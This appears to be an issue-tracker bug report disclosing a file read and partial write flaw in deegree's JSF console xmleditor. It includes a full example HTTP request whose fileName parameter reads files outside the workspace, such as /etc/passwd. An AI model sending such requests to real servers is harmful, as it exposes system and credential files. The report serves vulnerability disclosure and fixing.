[3.4-pre15] JSF-Console xmleditor allows to read/(partial write) any files on system

[stephanr]

If the Parameters to the xmleditor page of the deegree-jsf-console is set to a path outside the workspace a file could be read.

(requries that the tomcat user can read the file)

Example on Windows fileName=C:\VerryBadFileLikeEtcPasswd.txt
On Linux this maybe the /etc/passwd or a other security related file.

Full request:

http://localhost:8080/deegree-webservices/console/generic/xmleditor.xhtml?nextView=%2Fconsole%2Fwebservices%2Findex&id=null&fileName=C%3A\VerryBadFileLikeEtcPasswd.txt&schemaUrl=jar%3Afile%3A%2FC%3A%2Fworkspace%2Fdeegree3_ws_34cs%2F.metadata%2F.plugins%2Forg.eclipse.wst.server.core%2Ftmp0%2Fwtpwebapps%2Fdeegree-webservices%2FWEB-INF%2Flib%2Fdeegree-services-commons.jar!%2FMETA-INF%2Fschemas%2Fservices%2Fcontroller%2F3.2.0%2Fcontroller.xsd

The file could also be written to disk if the process has the right to and the file passes the xml-validation.

If a workspace is secured by a password, the xmleditor could not directly be invoked.

The File is directly read in org.deegree.console.generic.XmlEditorBean.getContent()